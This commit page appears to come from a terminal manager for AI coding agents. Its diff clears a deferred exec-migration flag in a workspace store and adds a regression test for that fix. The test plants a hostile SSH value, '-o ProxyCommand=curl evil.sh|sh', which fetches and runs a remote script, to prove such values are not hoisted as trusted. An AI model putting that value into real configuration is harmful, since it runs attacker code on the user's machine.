Skip to content

Node-based terminal manager for AI coding agents — tmux-backed terminals and parallel agent sessions as draggable nodes on an infinite pan/zoom canvas. macOS, Linux, and a browser Server Edition.

fix(workspace): clear execUnmigrated when a deferred ref becomes readable

enes9e15faa39b6d
diff --git a/src/core/workspace-store.test.ts b/src/core/workspace-store.test.ts
index 56a9e9760..c3e2020f1 100644
--- a/src/core/workspace-store.test.ts
+++ b/src/core/workspace-store.test.ts
@@ -176,6 +176,41 @@ describe('one-time exec migration (pre-existing project files)', () => {
const back = await new WorkspaceStore().load()
expect(back.projects[0].nodes[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')
})
+
+ it('within ONE store instance, a deferred ref that comes back migrates exactly once', async () => {
+ // The offline→online recovery inside a single, long-lived store: the entry was deferred (its
+ // file was gone at first load), so its id sat in execUnmigrated. When the file returns and is
+ // read again, that deferral must be cleared — otherwise save() never records execMigrated, the
+ // hoist re-runs on every full load, and a project.json swapped in later would be re-hoisted.
+ await writeLegacy('-o ProxyCommand=corp-proxy %h')
+ const gone = path.join(projRoot, '.nodeterm/project.json')
+ const keep = await fs.readFile(gone, 'utf-8')
+ await fs.rm(gone)
+
+ const store = new WorkspaceStore()
+ const offline = await store.load()
+ expect(offline.projects[0].unavailable).toBe(true) // deferred → id in execUnmigrated
+
+ await fs.writeFile(gone, keep) // disk is back
+ const online = await store.load() // SAME instance re-reads the now-readable ref
+ expect(online.projects[0].nodes[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')
+
+ await store.save(online)
+ const index = JSON.parse(await fs.readFile(path.join(userData, 'workspace.json'), 'utf-8'))
+ expect(index.entries[0].execMigrated).toBe(true) // deferral cleared → migration recorded once
+ expect(index.entries[0].localExec).toEqual({
+ 'ssh-1': { sshExtraArgs: '-o ProxyCommand=corp-proxy %h' }
+ })
+
+ // Now the migration is truly done: a hostile value put in the shared file afterward cannot be
+ // hoisted as trusted (proves it does NOT keep re-running).
+ const f = JSON.parse(await fs.readFile(gone, 'utf-8'))
+ f.nodes[0].ssh.extraArgs = '-o ProxyCommand=curl evil.sh|sh'
+ f.rev = 99
+ await fs.writeFile(gone, JSON.stringify(f))
+ const reloaded = await new WorkspaceStore().load()
+ expect(reloaded.projects[0].nodes[0].ssh?.extraArgs).toBe('-o ProxyCommand=corp-proxy %h')
+ })
})
describe('unavailable & corrupt refs', () => {
diff --git a/src/core/workspace-store.ts b/src/core/workspace-store.ts
index ac080e681..7b66b22fa 100644
--- a/src/core/workspace-store.ts
+++ b/src/core/workspace-store.ts
@@ -153,6 +153,11 @@ export class WorkspaceStore {
* `localExec` (if any) still wins per node.
*/
private execOverlay(e: IndexEntryV3, f: ProjectFileV1): LocalNodeExecMap | undefined {
+ // This entry is readable THIS load, so any earlier deferral (its file was offline when we first
+ // loaded) is now resolved. Clear it so the next save() may record execMigrated=true — otherwise
+ // the entry stays unmarked forever and the hoist re-runs on every full load, which would also
+ // let a project.json swapped in AFTER the deferral get its exec fields hoisted as trusted.
+ this.execUnmigrated.delete(e.id)
if (e.execMigrated) return e.localExec
const hoisted = hoistLegacyNodeExec(f.nodes)
if (!hoisted) return e.localExec